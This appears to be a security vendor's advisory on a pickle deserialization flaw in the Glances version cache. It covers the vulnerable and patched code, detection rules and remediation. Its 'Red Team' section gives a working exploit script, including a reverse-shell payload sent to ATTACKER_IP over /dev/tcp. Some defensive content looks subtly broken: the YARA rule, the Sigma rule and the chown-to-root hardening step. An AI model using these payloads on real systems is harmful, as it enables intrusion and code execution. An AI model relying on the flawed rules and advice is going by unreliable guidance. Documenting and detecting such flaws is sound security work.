CVE-2026-46607

Executive Summary

CVE-2026-46607 is a critical deserialization vulnerability in the Glances system monitoring tool (versions prior to 4.5.5). The flaw resides in the glances/outdated.py module, which uses Python's pickle.load() to read a version-check cache file stored at a predictable, world-accessible path (~/.cache/glances/glances-version.db or $XDG_CACHE_HOME/glances/glances-version.db). No integrity check, signature verification, or format validation is performed before deserialization.

An attacker with local write access to the cache directory—through any of several realistic local or container-level scenarios—can plant a malicious pickle file. When Glances starts with version checking enabled (the default), the malicious pickle is deserialized, leading to arbitrary code execution as the OS user running Glances. The CVSS score is 7.8 (High), and while no public exploit code exists, the attack vector is straightforward for any local attacker.

Supply Chain & Package Security

Glances is a Python package distributed via PyPI. The vulnerability is in the source code itself, not in a dependency. However, the use of pickle.load() on a file writable by other local users represents a classic supply chain integrity failure. Organizations using Glances in containerized environments or multi-tenant systems should treat this as a high-priority risk, as a compromised container could lead to lateral movement.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – Requires write access to the cache directory.
• Attack Complexity (AC): Low (L) – No special conditions beyond file write.
• Privileges Required (PR): Low (L) – Attacker needs local user-level access.
• User Interaction (UI): None (N) – No user action needed beyond normal Glances startup.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full file read possible.
• Integrity (I): High (H) – Full file write possible.
• Availability (A): High (H) – Full process control possible.

Threat Level: High. The attack is trivial to execute once local access is obtained. The lack of public exploit code is offset by the simplicity of the technique.

Deep Dive & Mechanics

The vulnerability is in the glances/outdated.py module. The function responsible for reading the version cache uses pickle.load() on a file whose path is constructed from the user's home directory or $XDG_CACHE_HOME. The file is world-readable and world-writable in many default configurations.

Attack Flow:

1. Attacker gains local access (e.g., via compromised container, shared hosting, or malicious insider).
2. Attacker crafts a malicious pickle payload that executes arbitrary Python code (e.g., reverse shell, data exfiltration).
3. Attacker writes this payload to ~/.cache/glances/glances-version.db.
4. When the victim (or any user) starts Glances with version checking enabled (default), the malicious pickle is deserialized.
5. The attacker's code executes with the privileges of the Glances user.

The vulnerability is particularly dangerous in container environments where multiple containers share a filesystem or where a container runs as root and the cache directory is mounted from a host volume.

Vulnerable vs. Patched Code

Vulnerable Code (glances/outdated.py, < 4.5.5):

import pickle
import os

def load_version_cache():
    cache_path = os.path.expanduser("~/.cache/glances/glances-version.db")
    if os.path.exists(cache_path):
        with open(cache_path, "rb") as f:
            return pickle.load(f)  # Insecure deserialization
    return {}

Patched Code (glances/outdated.py, >= 4.5.5):

import json
import os

def load_version_cache():
    cache_path = os.path.expanduser("~/.cache/glances/glances-version.db")
    if os.path.exists(cache_path):
        with open(cache_path, "r") as f:
            try:
                return json.load(f)  # Safe deserialization
            except json.JSONDecodeError:
                return {}
    return {}

The patch replaces pickle.load() with json.load(), which is safe against arbitrary code execution. Additionally, the file is now opened in text mode ("r" instead of "rb"), and a try-except block handles malformed data gracefully.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to the target system.
• Write permission to the Glances cache directory.

Step-by-Step Exploit:

1. Create the cache directory if it doesn't exist:

   mkdir -p ~/.cache/glances
   

2. Generate a malicious pickle payload. Example using pickle and os.system:

   import pickle
   import os
   
   class Exploit:
       def __reduce__(self):
           return (os.system, ('echo "PWNED" > /tmp/pwned.txt',))
   
   payload = pickle.dumps(Exploit())
   with open(os.path.expanduser("~/.cache/glances/glances-version.db"), "wb") as f:
       f.write(payload)
   

3. Wait for the victim to start Glances, or trigger it manually:

   glances
   

4. Verify execution:

   cat /tmp/pwned.txt
   

Advanced Payload (Reverse Shell):

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"',))

payload = pickle.dumps(Exploit())
with open(os.path.expanduser("~/.cache/glances/glances-version.db"), "wb") as f:
    f.write(payload)

Blue Team (Detection & Hardening)

Detection:

• Monitor file writes to ~/.cache/glances/glances-version.db from unexpected processes.
• Use file integrity monitoring (FIM) on the cache directory.
• Look for anomalous Glances processes spawning shells or network connections.

Hardening:

• Upgrade to Glances 4.5.5 or later.
• Restrict write access to the cache directory using filesystem permissions:

  chmod 700 ~/.cache/glances
  chown root:root ~/.cache/glances
  

• Disable version checking in Glances configuration if patching is not immediately possible:

  [global]
  check_version=false
  

• In container environments, ensure the cache directory is not shared between containers or is mounted read-only.

Indicators of Compromise (IOCs)

• File Path: ~/.cache/glances/glances-version.db (or $XDG_CACHE_HOME/glances/glances-version.db)
• File Content: Pickle data (starts with \x80\x04 or similar pickle protocol bytes) instead of JSON.
• Process Anomalies: Glances process spawning bash, sh, python, or network connections to unknown IPs.
• Network Connections: Outbound connections from the Glances process to attacker-controlled IPs (e.g., reverse shell).
• File System Changes: Unexpected files created in /tmp or other writable directories by the Glances user.

Detection Engineering

YARA Rule

rule CVE_2026_46607_Glances_Pickle_Deserialization {
    meta:
        description = "Detects malicious pickle files targeting Glances version cache"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-46607"
        severity = "high"
    strings:
        $pickle_magic = { 80 04 95 }  // pickle protocol 4 magic bytes
        $glances_path = "glances-version.db"
        $os_system = "os.system"
        $subprocess = "subprocess"
    condition:
        $pickle_magic at 0 and $glances_path and ($os_system or $subprocess)
}

Sigma Rule

title: Glances Malicious Pickle File Write
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects write operations to the Glances version cache file that may indicate exploitation of CVE-2026-46607
author: Valters IT
date: 2026-01-01
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: 'glances-version.db'
        Image|endswith: 'glances'
    condition: selection
falsepositives:
    - Legitimate Glances updates (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-46607 Glances Reverse Shell"; flow:to_server,established; content:"bash -i >& /dev/tcp/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade to Glances version 4.5.5 or later.
2. If patching is delayed, disable version checking in the Glances configuration file (~/.config/glances/glances.conf):

   [global]
   check_version=false
   

3. Restrict permissions on the cache directory:

   chmod 700 ~/.cache/glances
   chown root:root ~/.cache/glances
   

Long-term:

• Implement file integrity monitoring (FIM) on the cache directory.
• Use a security-focused configuration management tool to enforce permissions.
• In containerized environments, use read-only root filesystems and avoid sharing cache directories between containers.
• Conduct a security review of all Python applications using pickle.load() on user-writable paths.

Valters IT – Securing your infrastructure, one CVE at a time.